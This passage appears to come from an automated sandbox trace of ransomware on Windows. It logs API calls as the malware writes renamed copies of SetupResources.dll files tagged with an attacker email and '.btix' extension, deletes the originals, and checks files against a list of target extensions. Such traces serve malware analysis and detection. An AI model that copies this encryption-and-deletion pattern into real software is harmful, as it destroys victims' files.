(lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0042.153] GetLastError () returned 0x0 [0042.154] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0042.246] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0042.247] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.247] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.248] SetEndOfFile (hFile=0x348) returned 1 [0042.248] CloseHandle (hObject=0x348) returned 1 [0042.249] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.249] SetEndOfFile (hFile=0x31c) returned 1 [0042.250] CloseHandle (hObject=0x31c) returned 1 [0042.250] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0042.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.251] lstrlenW (lpString=".doc") returned 4 [0042.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.251] lstrlenW (lpString=".docx") returned 5 [0042.251] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.251] lstrlenW (lpString=".pdf") returned 4 [0042.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.251] lstrlenW (lpString=".xls") returned 4 [0042.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.251] lstrlenW (lpString=".xlsx") returned 5 [0042.251] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.251] lstrlenW (lpString=".ppt") returned 4 [0042.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString=".zip") returned 4 [0042.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.252] lstrlenW (lpString=".rar") returned 4 [0042.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.252] lstrlenW (lpString=".bz2") returned 4 [0042.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.252] lstrlenW (lpString=".7z") returned 3 [0042.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString=".dbf") returned 4 [0042.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString=".1cd") returned 4 [0042.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString=".jpg") returned 4 [0042.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.252] lstrlenW (lpString=".doc") returned 4 [0042.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.252] lstrlenW (lpString=".docx") returned 5 [0042.252] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.252] lstrlenW (lpString=".pdf") returned 4 [0042.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.253] lstrlenW (lpString=".xls") returned 4 [0042.253] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.253] lstrlenW (lpString=".xlsx") returned 5 [0042.253] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.253] lstrlenW (lpString=".ppt") returned 4 [0042.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.253] lstrlenW (lpString=".zip") returned 4 [0042.253] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.253] lstrlenW (lpString=".rar") returned 4 [0042.253] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.253] lstrlenW (lpString=".bz2") returned 4 [0042.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.253] lstrlenW (lpString=".7z") returned 3 [0042.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.253] lstrlenW (lpString=".dbf") returned 4 [0042.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.253] lstrlenW (lpString=".1cd") returned 4 [0042.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0042.253] lstrlenW (lpString=".jpg") returned 4 [0042.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.254] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.254] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.254] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18264) returned 1 [0042.254] CloseHandle (hObject=0x31c) returned 1 [0042.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0042.254] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0042.254] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0042.254] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.255] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.255] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0042.322] GetLastError () returned 0x0 [0042.323] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4758, lpOverlapped=0x0) returned 1 [0042.446] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4760, lpOverlapped=0x0) returned 1 [0042.447] ReadFile (in: hFile=0x31c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0042.447] WriteFile (in: hFile=0x348, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0042.447] SetEndOfFile (hFile=0x348) returned 1 [0042.447] CloseHandle (hObject=0x348) returned 1 [0042.448] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0042.448] SetEndOfFile (hFile=0x31c) returned 1 [0042.449] CloseHandle (hObject=0x31c) returned 1 [0042.449] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0042.449] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString=".doc") returned 4 [0042.450] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString=".docx") returned 5 [0042.450] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.450] lstrlenW (lpString=".pdf") returned 4 [0042.450] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString=".xls") returned 4 [0042.450] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString=".xlsx") returned 5 [0042.450] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.450] lstrlenW (lpString=".ppt") returned 4 [0042.450] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString=".zip") returned 4 [0042.450] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString=".rar") returned 4 [0042.450] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString=".bz2") returned 4 [0042.450] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.450] lstrlenW (lpString=".7z") returned 3 [0042.450] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString=".dbf") returned 4 [0042.450] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString=".1cd") returned 4 [0042.450] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString=".jpg") returned 4 [0042.450] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.450] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.451] lstrlenW (lpString=".doc") returned 4 [0042.451] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString=".docx") returned 5 [0042.451] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0042.451] lstrlenW (lpString=".pdf") returned 4 [0042.451] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString=".xls") returned 4 [0042.451] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString=".xlsx") returned 5 [0042.451] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0042.451] lstrlenW (lpString=".ppt") returned 4 [0042.451] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.451] lstrlenW (lpString=".zip") returned 4 [0042.451] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString=".rar") returned 4 [0042.451] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0042.451] lstrlenW (lpString=".bz2") returned 4 [0042.451] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0042.451] lstrlenW (lpString=".7z") returned 3 [0042.451] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0042.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.451] lstrlenW (lpString=".dbf") returned 4 [0042.451] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0042.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.451] lstrlenW (lpString=".1cd") returned 4 [0042.452] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0042.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0042.452] lstrlenW (lpString=".jpg") returned 4 [0042.452] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0042.452] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0042.452] lstrlenW (lpString="SetupResources.dll") returned 18 [0042.452] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.186] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=14168) returned 1 [0043.186] CloseHandle (hObject=0x320) returned 1 [0043.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0043.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.187] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.187] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.187] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0043.221] GetLastError () returned 0x0 [0043.221] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x3758, lpOverlapped=0x0) returned 1 [0043.257] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x3760, lpOverlapped=0x0) returned 1 [0043.258] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.258] WriteFile (in: hFile=0x318, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0043.258] SetEndOfFile (hFile=0x318) returned 1 [0043.259] CloseHandle (hObject=0x318) returned 1 [0043.259] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.259] SetEndOfFile (hFile=0x320) returned 1 [0043.260] CloseHandle (hObject=0x320) returned 1 [0043.260] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.261] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0043.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.261] lstrlenW (lpString=".doc") returned 4 [0043.261] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString=".docx") returned 5 [0043.261] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.261] lstrlenW (lpString=".pdf") returned 4 [0043.261] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString=".xls") returned 4 [0043.261] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString=".xlsx") returned 5 [0043.261] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.261] lstrlenW (lpString=".ppt") returned 4 [0043.261] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.261] lstrlenW (lpString=".zip") returned 4 [0043.261] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString=".rar") returned 4 [0043.261] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.261] lstrlenW (lpString=".bz2") returned 4 [0043.261] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.261] lstrlenW (lpString=".7z") returned 3 [0043.261] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.261] lstrlenW (lpString=".dbf") returned 4 [0043.261] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.261] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.261] lstrlenW (lpString=".1cd") returned 4 [0043.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString=".jpg") returned 4 [0043.262] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString=".doc") returned 4 [0043.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString=".docx") returned 5 [0043.262] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.262] lstrlenW (lpString=".pdf") returned 4 [0043.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString=".xls") returned 4 [0043.262] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString=".xlsx") returned 5 [0043.262] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0043.262] lstrlenW (lpString=".ppt") returned 4 [0043.262] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString=".zip") returned 4 [0043.262] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString=".rar") returned 4 [0043.262] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.262] lstrlenW (lpString=".bz2") returned 4 [0043.262] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.262] lstrlenW (lpString=".7z") returned 3 [0043.262] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString=".dbf") returned 4 [0043.262] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.262] lstrlenW (lpString=".1cd") returned 4 [0043.262] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0043.263] lstrlenW (lpString=".jpg") returned 4 [0043.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.263] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0043.263] lstrlenW (lpString="SetupResources.dll") returned 18 [0043.263] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.263] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=18776) returned 1 [0043.263] CloseHandle (hObject=0x320) returned 1 [0043.263] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0043.263] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.263] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0043.263] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.264] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.264] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0043.301] GetLastError () returned 0x0 [0043.301] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x4958, lpOverlapped=0x0) returned 1 [0043.338] WriteFile (in: hFile=0x30c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x4960, lpOverlapped=0x0) returned 1 [0043.339] ReadFile (in: hFile=0x320, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.339] WriteFile (in: hFile=0x30c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf8, lpOverlapped=0x0) returned 1 [0043.339] SetEndOfFile (hFile=0x30c) returned 1 [0043.339] CloseHandle (hObject=0x30c) returned 1 [0043.340] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.340] SetEndOfFile (hFile=0x320) returned 1 [0043.341] CloseHandle (hObject=0x320) returned 1 [0043.341] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.342] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0043.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.342] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0043.342] lstrlenW (lpString=".doc") returned 4 [0043.342] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.342] lstrlenW (lpString=".docx") returned 5 [0043.342] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0043.342] lstrlenW (lpString=".pdf") returned 4 [0043.342] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.342] lstrlenW (lpString=".xls") returned 4 [0043.342] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.342] lstrlenW (lpString=".xlsx") returned 5 [0043.342] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") 